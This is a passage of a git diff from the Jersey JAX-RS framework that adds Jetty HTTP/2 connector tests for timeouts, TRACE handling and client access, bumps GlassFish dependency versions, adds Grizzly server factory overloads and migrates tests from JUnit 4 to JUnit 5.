target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/verybig").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java new file mode 100644 index 00000000000..59f242e11c6 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java @@ -0,0 +1,239 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.DefaultValue; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.QueryParam; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.StreamingOutput; +import java.net.URI; +import java.nio.charset.StandardCharsets; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TimeoutTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class TimeoutResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("timeout") + public String getTimeout() { + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return "GET"; + } + + /** + * Long-running streaming request + * + * @param count number of packets send + * @param pauseMillis pause between each packets + */ + @GET + @Path("stream") + public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count, + @QueryParam("pauseMillis") int pauseMillis) { + StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis); + + return Response.ok(streamingOutput) + .build(); + } + } + + private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) { + + return output -> { + try { + TimeUnit.MILLISECONDS.sleep(startMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + output.write("begin\n".getBytes(StandardCharsets.UTF_8)); + output.flush(); + for (int i = 0; i < count; i++) { + try { + TimeUnit.MILLISECONDS.sleep(pauseMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8)); + output.flush(); + } + output.write("end".getBytes(StandardCharsets.UTF_8)); + }; + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testFast() { + Response r = target("test").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testSlow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testTimeoutInRequest() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + final Response response = target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + assertTrue(response.readEntity(String.class).contains("end")); + } + + @Test + public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(JettyClientProperties.TOTAL_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + fail("This operation should trigger total timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception { + + int start = 150; + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("start", start) + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + fail("This operation should trigger idle timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java new file mode 100644 index 00000000000..4bf0bdaad42 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java @@ -0,0 +1,228 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.process.Inflector; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.model.Resource; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Request; +import jakarta.ws.rs.core.Response; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TraceSupportTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName()); + + /** + * Programmatic tracing root resource path. + */ + public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic"; + + /** + * Annotated class-based tracing root resource path. + */ + public static final String ROOT_PATH_ANNOTATED = "tracing/annotated"; + + @HttpMethod(TRACE.NAME) + @Target(ElementType.METHOD) + @Retention(RetentionPolicy.RUNTIME) + public @interface TRACE { + public static final String NAME = "TRACE"; + } + + @Path(ROOT_PATH_ANNOTATED) + public static class TracingResource { + + @TRACE + @Produces("text/plain") + public String trace(Request request) { + return stringify((ContainerRequest) request); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TracingResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC); + resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector() { + + @Override + public Response apply(ContainerRequestContext request) { + if (request == null) { + return Response.noContent().build(); + } else { + return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build(); + } + } + }); + + return config.registerResources(resourceBuilder.build()); + + } + + private String[] expectedFragmentsProgrammatic = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic" + }; + private String[] expectedFragmentsAnnotated = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/annotated" + }; + + private WebTarget prepareTarget(String path) { + final WebTarget target = target(); + target.register(LoggingFeature.class); + return target.path(path); + } + + @Test + public void testProgrammaticApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsProgrammatic) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testAnnotatedApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsAnnotated) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testTraceWithEntity() throws Exception { + _testTraceWithEntity(false, false); + } + + @Test + public void testAsyncTraceWithEntity() throws Exception { + _testTraceWithEntity(true, false); + } + + @Test + public void testTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(false, true); + } + + @Test + public void testAsyncTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(true, true); + } + + private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception { + try { + WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target(); + target = target.path(ROOT_PATH_ANNOTATED); + + final Entity entity = Entity.entity("trace", MediaType.WILDCARD_TYPE); + + Response response; + if (!isAsync) { + response = target.request().method(TRACE.NAME, entity); + } else { + response = target.request().async().method(TRACE.NAME, entity).get(); + } + + fail("A TRACE request MUST NOT include an entity. (response=" + response + ")"); + } catch (Exception e) { + // OK + } + } + + private Client getJettyClient() { + return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider())); + } + + + public static String stringify(ContainerRequest request) { + StringBuilder buffer = new StringBuilder(); + + printRequestLine(buffer, request); + printPrefixedHeaders(buffer, request.getHeaders()); + + if (request.hasEntity()) { + buffer.append(request.readEntity(String.class)).append("\n"); + } + + return buffer.toString(); + } + + private static void printRequestLine(StringBuilder buffer, ContainerRequest request) { + buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n"); + } + + private static void printPrefixedHeaders(StringBuilder buffer, Map> headers) { + for (Map.Entry> e : headers.entrySet()) { + List val = e.getValue(); + String header = e.getKey(); + + if (val.size() == 1) { + buffer.append(header).append(": ").append(val.get(0)).append("\n"); + } else { + StringBuilder sb = new StringBuilder(); + boolean add = false; + for (String s : val) { + if (add) { + sb.append(','); + } + add = true; + sb.append(s); + } + buffer.append(header).append(": ").append(sb.toString()).append("\n"); + } + } + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java new file mode 100644 index 00000000000..29efcba9d61 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java @@ -0,0 +1,66 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.ClientConfig; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; + +public class UnderlyingHttpClientAccessTest { + + /** + * Verifier of JERSEY-2424 fix. + */ + @Test + public void testHttpClientInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider())); + final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getHttpClient method above. + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target); + + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one " + + "set on JerseyWebTarget (provided the target instance has not been further configured)."); + } + + @Test + public void testGetProvidedClientInstance() { + final HttpClient httpClient = new HttpClient(); + final ClientConfig clientConfig = new ClientConfig() + .connectorProvider(new JettyHttp2ConnectorProvider()) + .register(new JettyHttp2ClientSupplier(httpClient)); + final Client client = ClientBuilder.newClient(clientConfig); + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target); + + assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider", + httpClient, is(hcOnTarget)); + } +} \ No newline at end of file diff --git a/connectors/java-connector/pom.xml b/connectors/jnh-connector/pom.xml similarity index 65% rename from connectors/java-connector/pom.xml rename to connectors/jnh-connector/pom.xml index c2f1ef073fd..450e166e219 100644 --- a/connectors/java-connector/pom.xml +++ b/connectors/jnh-connector/pom.xml @@ -1,7 +1,7 @@ @@ -60,13 +64,13 @@ - junit - junit + org.junit.jupiter + junit-jupiter test org.hamcrest - hamcrest-library + hamcrest test diff --git a/containers/glassfish/jersey-gf-ejb/pom.xml b/containers/glassfish/jersey-gf-ejb/pom.xml index b261c00f25d..0189bdbf991 100644 --- a/containers/glassfish/jersey-gf-ejb/pom.xml +++ b/containers/glassfish/jersey-gf-ejb/pom.xml @@ -1,7 +1,7 @@ org.glassfish.main.ejb ejb-container + 6.0.0 provided org.glassfish.main.common container-common + 6.0.0 provided org.glassfish.main.hk2 hk2-config + 6.0.0 + provided true @@ -126,5 +131,4 @@ - - + diff --git a/containers/glassfish/pom.xml b/containers/glassfish/pom.xml index 4bf9302e8b6..011e493c29c 100644 --- a/containers/glassfish/pom.xml +++ b/containers/glassfish/pom.xml @@ -1,7 +1,7 @@ true diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java index 616ea142498..33d3770b818 100644 --- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java +++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpContainer.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -381,7 +381,7 @@ public ResourceConfig getConfiguration() { @Override public void reload() { - reload(appHandler.getConfiguration()); + reload(new ResourceConfig(appHandler.getConfiguration())); } @Override diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java index 4eb458da4f1..28d03d49627 100644 --- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java +++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerFactory.java @@ -191,6 +191,31 @@ public static HttpServer createHttpServer(final URI uri, true); } + /** + * Create new {@link HttpServer} instance. + * + * @param uri uri on which the {@link ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param config web application configuration. + * @param secure used for call {@link NetworkListener#setSecure(boolean)}. + * @param sslEngineConfigurator Ssl settings to be passed to {@link NetworkListener#setSSLEngineConfig}. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@code HttpServer}. + * @throws ProcessingException in case of any failure when creating a new {@code HttpServer} instance. + * @see GrizzlyHttpContainer + * @since 2.37 + */ + public static HttpServer createHttpServer(final URI uri, + final ResourceConfig config, + final boolean secure, + final SSLEngineConfigurator sslEngineConfigurator, + final Object parentContext, + final boolean start) { + return createHttpServer(uri, new GrizzlyHttpContainer(config, parentContext), secure, sslEngineConfigurator, start); + } + /** * Create new {@link HttpServer} instance. * @@ -209,6 +234,27 @@ public static HttpServer createHttpServer(final URI uri, return createHttpServer(uri, new GrizzlyHttpContainer(config, parentContext), false, null, true); } + /** + * Create new {@link HttpServer} instance. + * + * @param uri uri on which the {@link ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param config web application configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@code HttpServer}. + * @throws ProcessingException in case of any failure when creating a new {@code HttpServer} instance. + * @see GrizzlyHttpContainer + * @since 2.37 + */ + public static HttpServer createHttpServer(final URI uri, + final ResourceConfig config, + final Object parentContext, + final boolean start) { + return createHttpServer(uri, new GrizzlyHttpContainer(config, parentContext), false, null, start); + } + /** * Create new {@link HttpServer} instance. * diff --git a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java index a3f911c61f5..f9cfac21631 100644 --- a/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java +++ b/containers/grizzly2-http/src/main/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Markus KARG. All rights reserved. * * This program and the accompanying materials are made available under the @@ -17,6 +17,7 @@ package org.glassfish.jersey.grizzly2.httpserver; +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.core.Application; import org.glassfish.grizzly.http.server.HttpServer; @@ -33,18 +34,18 @@ public final class GrizzlyHttpServerProvider implements WebServerProvider { @Override - public final T createServer(final Class type, final Application application, - final JerseySeBootstrapConfiguration configuration) { - return GrizzlyHttpServer.class == type || WebServer.class == type - ? type.cast(new GrizzlyHttpServer(application, configuration)) + public T createServer(final Class type, final Application application, + final SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration) + ? type.cast(new GrizzlyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration))) : null; } @Override public T createServer(Class type, Class applicationClass, - JerseySeBootstrapConfiguration configuration) { - return GrizzlyHttpServer.class == type || WebServer.class == type - ? type.cast(new GrizzlyHttpServer(applicationClass, configuration)) + SeBootstrap.Configuration configuration) { + return WebServerProvider.isSupportedWebServer(GrizzlyHttpServer.class, type, configuration) + ? type.cast(new GrizzlyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration))) : null; } } diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java index a7310d048dd..1c75de1b3a6 100644 --- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java +++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerProviderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Markus KARG. All rights reserved. * * This program and the accompanying materials are made available under the @@ -17,13 +17,12 @@ package org.glassfish.jersey.grizzly2.httpserver; -import static java.lang.Boolean.FALSE; import static java.lang.Boolean.TRUE; import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.greaterThan; import static org.hamcrest.Matchers.instanceOf; -import static org.junit.Assert.assertThat; import java.security.AccessController; import java.security.NoSuchAlgorithmException; @@ -31,6 +30,7 @@ import java.util.Set; import java.util.concurrent.CompletionStage; import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; import java.util.logging.Level; import java.util.logging.Logger; @@ -45,12 +45,12 @@ import org.glassfish.grizzly.http.server.HttpServer; import org.glassfish.jersey.internal.util.PropertiesHelper; -import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; import org.glassfish.jersey.server.ServerProperties; import org.glassfish.jersey.server.spi.Container; import org.glassfish.jersey.server.spi.WebServer; import org.glassfish.jersey.server.spi.WebServerProvider; -import org.junit.Test; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; /** * Unit tests for {@link GrizzlyHttpServerProvider}. @@ -60,14 +60,16 @@ */ public final class GrizzlyHttpServerProviderTest { - @Test(timeout = 15000) + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) public void shouldProvideServer() throws InterruptedException, ExecutionException { // given final Resource resource = new Resource(); shouldProvideServer(ShouldProvideServerApplication.class, resource); } - @Test(timeout = 15000) + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { // given final Resource resource = new Resource(); @@ -82,10 +84,9 @@ private void shouldProvideServer(final Object application, final Resource resour final SeBootstrap.Configuration configuration = configuration(getPort()); // when - final JerseySeBootstrapConfiguration jerseySeConfig = JerseySeBootstrapConfiguration.from(configuration); final WebServer webServer = Application.class.isInstance(application) - ? webServerProvider.createServer(WebServer.class, (Application) application, jerseySeConfig) - : webServerProvider.createServer(WebServer.class, (Class) application, jerseySeConfig); + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class) application, configuration); final Object nativeHandle = webServer.unwrap(Object.class); final CompletionStage start = webServer.start(); final Object startResult = start.toCompletableFuture().get(); @@ -127,7 +128,7 @@ public final Set getSingletons() { private static final int DEFAULT_PORT = 0; - private static final int getPort() { + private static int getPort() { final String value = AccessController .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); if (value != null) { @@ -149,7 +150,8 @@ private static final int getPort() { return DEFAULT_PORT; } - @Test(timeout = 15000) + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) public void shouldScanFreePort() { // given final WebServerProvider webServerProvider = new GrizzlyHttpServerProvider(); @@ -157,8 +159,7 @@ public void shouldScanFreePort() { final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT); // when - final JerseySeBootstrapConfiguration jerseySeConfig = JerseySeBootstrapConfiguration.from(configuration); - final WebServer webServer = webServerProvider.createServer(WebServer.class, application, jerseySeConfig); + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); // then assertThat(webServer.port(), is(greaterThan(0))); @@ -191,4 +192,4 @@ private SeBootstrap.Configuration configuration(int port) { }; } -} +} \ No newline at end of file diff --git a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerTest.java b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerTest.java index 695c9060b06..812b480048c 100644 --- a/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerTest.java +++ b/containers/grizzly2-http/src/test/java/org/glassfish/jersey/grizzly2/httpserver/GrizzlyHttpServerTest.java @@ -1,5 +1,6 @@ /* - * Copyright (c) 2021, 2022 Payara Foundation and/or its affiliates. All rights reserved. + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -26,15 +27,15 @@ import org.glassfish.jersey.grizzly2.httpserver.test.tools.ClientThread.ClientThreadSettings; import org.glassfish.jersey.grizzly2.httpserver.test.tools.JdkHttpClientThread; import org.glassfish.jersey.grizzly2.httpserver.test.tools.ServerManager; -import org.junit.After; -import org.junit.Before; -import org.junit.BeforeClass; -import org.junit.Rule; -import org.junit.Test; -import org.junit.rules.TestName; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInfo; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; /** @@ -57,10 +58,7 @@ public class GrizzlyHttpServerTest { private AtomicInteger counter; private ServerManager server; - @Rule - public TestName testName = new TestName(); - - @BeforeClass + @BeforeAll public static void printSettings() { System.out.println("Client implementation: " + CLIENT_IMPLEMENTATION); System.out.println("Count of clients: " + COUNT_OF_CLIENTS); @@ -68,16 +66,16 @@ public static void printSettings() { } - @Before + @BeforeEach public void init() { this.counter = new AtomicInteger(); } - @After - public void cleanup() { + @AfterEach + public void cleanup(TestInfo testInfo) { error = null; - System.out.println(String.format("Server processed %s requests of test %s.", counter, testName.getMethodName())); + System.out.println(String.format("Server processed %s requests of test %s.", counter, testInfo.getDisplayName())); if (server != null) { server.close(); } @@ -120,9 +118,11 @@ public void https() throws Throwable { * * @throws Throwable */ - @Test(expected = IllegalArgumentException.class) - public void http2() throws Throwable { - this.server = new ServerManager(false, true); + @Test + public void http2() { + Assertions.assertThrows(IllegalArgumentException.class, + () 